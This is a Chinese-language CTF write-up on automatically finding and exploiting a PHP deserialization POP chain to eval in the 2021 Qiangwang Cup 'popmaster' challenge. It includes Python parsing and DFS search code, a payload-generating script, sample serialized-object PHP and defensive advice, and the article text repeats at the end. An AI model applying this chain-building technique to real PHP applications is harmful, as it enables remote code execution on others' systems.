强网杯2021-popmaster 一种使用python对php代码进行语法分析并构造pop链的解法
字数 997 2025-08-11 08:36:09

PHP反序列化POP链自动化构造技术详解

一、背景与问题描述

在2021年强网杯比赛中出现了一道特殊的PHP反序列化题目,要求选手从10000个PHP类中自动发现并构造POP(Property-Oriented Programming)链。这道题目的核心挑战在于:

  1. 类数量庞大:手动分析10000个类不现实
  2. 代码模式相似:类结构相似但细节不同
  3. 入口点明确:已知反序列化入口和调用方法

二、技术思路概述

解决方案采用Python对PHP代码进行语法分析,构建函数调用图,然后通过图搜索算法寻找从入口点到危险函数(如eval)的路径。主要步骤包括:

  1. 解析PHP类结构
  2. 分析函数调用关系
  3. 构建函数调用图
  4. 搜索有效POP链
  5. 生成可利用的Payload

三、PHP代码解析技术

1. 类结构解析

使用正则表达式提取类名和成员变量:

class_regx = r'class (?P<class_name>([a-zA-Z0-9]*))\{'
attr_regx = r'public (?P<attr_name>\$([a-zA-Z0-9]*));'

2. 函数分析方法

每个函数可归纳为四种类型:

  1. 二叉节点:可能跳转到两个不同方法

    if(method_exists($this->AaPmGl7, 'icxBGG')) 
      $this->AaPmGl7->icxBGG($qibhA);
    if(method_exists($this->AaPmGl7, 'wYm0AE')) 
      $this->AaPmGl7->wYm0AE($qibhA);
    
  2. 直达节点:只跳转到一个确定方法

    $this->RPnM7bF->ymYuZ6($DnGm5);
    
  3. 终点节点:执行危险操作

    eval($nyVpC);
    
  4. 死胡同节点:参数被污染或无法继续跳转

    for($i = 0; $i < 4; $i++){
      $gFQYO = $rnsYU; // 参数被覆盖
    }
    

3. 关键代码解析

函数特征提取

class FunctionObj:
    def __init__(self, function_name="", is_blind_alley=False, 
                 next_fucntion=None, class_name="", argv_name="", 
                 is_tautology=-1):
        self.function_name = function_name
        self.is_blind_alley = is_blind_alley  # 是否为死胡同
        self.next_fucntion = next_fucntion    # 可跳转的函数
        self.class_name = class_name           # 所属类名
        self.argv_name = argv_name             # 参数名
        self.is_tautology = is_tautology      # 重言式分析结果

类特征提取

class ClassObj:
    def __init__(self, class_name="", attr_name="", function_list=None):
        self.class_name = class_name     # 类名
        self.attr_name = attr_name       # 成员变量名
        self.function_list = function_list  # 包含的函数列表

四、POP链搜索算法

1. 深度优先搜索(DFS)实现

vis_func = {}

def dfs(function_obj: FunctionObj, function_obj_list: Dict[str, FunctionObj]):
    # 避免循环
    if function_obj.function_name in vis_func:
        return None
    
    # 死胡同检查
    if function_obj.is_blind_alley == True:
        return None
    
    # 到达终点
    if "eval" in function_obj.next_fucntion:
        return [function_obj]
    
    # 遍历所有可能的跳转
    for i in function_obj.next_fucntion:
        res: List[FunctionObj] = dfs(function_obj_list[i], function_obj_list)
        vis_func[i] = 1
        if res != None:
            return [function_obj] + res

2. 重言式分析技术

识别永远不会执行或总是执行的代码块:

# if形式的重言式
if_regx = r'if$(?P<num1>[0-9]+)>(?P<num2>[0-9]+)$'

# for形式的不可达代码
for_regx = r'for$\$i = 0; \$i < 0; \$i\+\+$'

五、Payload生成技术

1. 序列化对象构造

根据找到的POP链生成PHP代码:

def create_pop_code(pop_chain: List[FunctionObj], class_obj: Dict[str, ClassObj]):
    f = open('code.php', 'w')
    f.write('<?php\n')
    
    # 生成链上所有类的定义
    for i in range(0, len(pop_chain)-1):
        obj = pop_chain[i]
        f.write(f'class {obj.class_name}{{\n')
        f.write(f'{" "*4}public {class_obj[obj.class_name].attr_name};\n')
        f.write(f"{' '*4}public function __construct(){{\n")
        f.write(f"{' '*8}$this->{class_obj[obj.class_name].attr_name.replace('$','')} = " + 
                f"new {pop_chain[i+1].class_name}();\n{' '*4}}}\n")
        f.write(f'}}\n')
    
    # 最后一个类只需要属性不需要构造
    f.write(f"class {pop_chain[-1].class_name}{{\n")
    f.write(f'{" "*4}public {class_obj[pop_chain[-1].class_name].attr_name};\n')
    f.write(f'}}\n')
    
    # 生成序列化代码
    code = f'$obj = new {pop_chain[0].class_name}();\n'
    code += '$ser_obj = serialize($obj);\n'
    code += 'echo urlencode($ser_obj);\n'
    f.write(code)
    f.write('?>')
    f.close()

2. 生成的Payload示例

<?php
class rwUC5h{
    public $gKq07rH;
    public function __construct(){
        $this->gKq07rH = new qREoNb();
    }
}
class qREoNb{
    public $WLMRgSL;
    public function __construct(){
        $this->WLMRgSL = new eT6o39();
    }
}
// ... 更多类定义 ...
class AyhzQl{
    public $ceYMut9;
}
$obj = new rwUC5h();
$ser_obj = serialize($obj);
echo urlencode($ser_obj);
?>

六、关键技术与注意事项

  1. 参数污染分析:必须识别参数是否在传递过程中被修改

    // 会被识别为污染
    for($i = 0; $i < 4; $i++){
        $gFQYO = $rnsYU;
    }
    
    // 不会被识别为污染(因为循环条件为假)
    for($i = 0; $i < 0; $i++){
        $gFQYO = $rnsYU;
    }
    
  2. 方法存在性检查处理

    // 需要识别为两个可能的跳转
    if(method_exists($this->RZWCE4l, 'GsMUZA')) 
        $this->RZWCE4l->GsMUZA($B0g0L);
    if(method_exists($this->RZWCE4l, 'PpImCU')) 
        $this->RZWCE4l->PpImCU($B0g0L);
    
  3. 性能优化:对于大规模类分析,可以考虑:

    • 并行处理不同类的解析
    • 使用更高效的正则表达式
    • 对已分析过的模式进行缓存

七、防御建议

针对此类自动化POP链构造技术,开发者可以采取以下防御措施:

  1. 避免在反序列化对象中使用eval等危险函数
  2. 对反序列化操作进行严格的白名单控制
  3. 使用PHP的__wakeup()__destruct()方法进行安全检查
  4. 考虑使用签名机制验证序列化数据的合法性

八、总结

本文详细介绍了使用Python自动化分析PHP代码并构造POP链的技术,包括:

  1. PHP类与函数的解析方法
  2. 函数调用图的构建技术
  3. 有效POP链的搜索算法
  4. 可利用Payload的生成方法

这种技术不仅适用于CTF比赛,也可用于真实世界的代码审计和安全研究,帮助安全人员快速发现复杂的反序列化漏洞。

PHP反序列化POP链自动化构造技术详解 一、背景与问题描述 在2021年强网杯比赛中出现了一道特殊的PHP反序列化题目,要求选手从10000个PHP类中自动发现并构造POP(Property-Oriented Programming)链。这道题目的核心挑战在于: 类数量庞大 :手动分析10000个类不现实 代码模式相似 :类结构相似但细节不同 入口点明确 :已知反序列化入口和调用方法 二、技术思路概述 解决方案采用Python对PHP代码进行语法分析,构建函数调用图,然后通过图搜索算法寻找从入口点到危险函数(如eval)的路径。主要步骤包括: 解析PHP类结构 分析函数调用关系 构建函数调用图 搜索有效POP链 生成可利用的Payload 三、PHP代码解析技术 1. 类结构解析 使用正则表达式提取类名和成员变量: 2. 函数分析方法 每个函数可归纳为四种类型: 二叉节点 :可能跳转到两个不同方法 直达节点 :只跳转到一个确定方法 终点节点 :执行危险操作 死胡同节点 :参数被污染或无法继续跳转 3. 关键代码解析 函数特征提取 类特征提取 四、POP链搜索算法 1. 深度优先搜索(DFS)实现 2. 重言式分析技术 识别永远不会执行或总是执行的代码块: 五、Payload生成技术 1. 序列化对象构造 根据找到的POP链生成PHP代码: 2. 生成的Payload示例 六、关键技术与注意事项 参数污染分析 :必须识别参数是否在传递过程中被修改 方法存在性检查处理 : 性能优化 :对于大规模类分析,可以考虑: 并行处理不同类的解析 使用更高效的正则表达式 对已分析过的模式进行缓存 七、防御建议 针对此类自动化POP链构造技术,开发者可以采取以下防御措施: 避免在反序列化对象中使用 eval 等危险函数 对反序列化操作进行严格的白名单控制 使用PHP的 __wakeup() 或 __destruct() 方法进行安全检查 考虑使用签名机制验证序列化数据的合法性 八、总结 本文详细介绍了使用Python自动化分析PHP代码并构造POP链的技术,包括: PHP类与函数的解析方法 函数调用图的构建技术 有效POP链的搜索算法 可利用Payload的生成方法 这种技术不仅适用于CTF比赛,也可用于真实世界的代码审计和安全研究,帮助安全人员快速发现复杂的反序列化漏洞。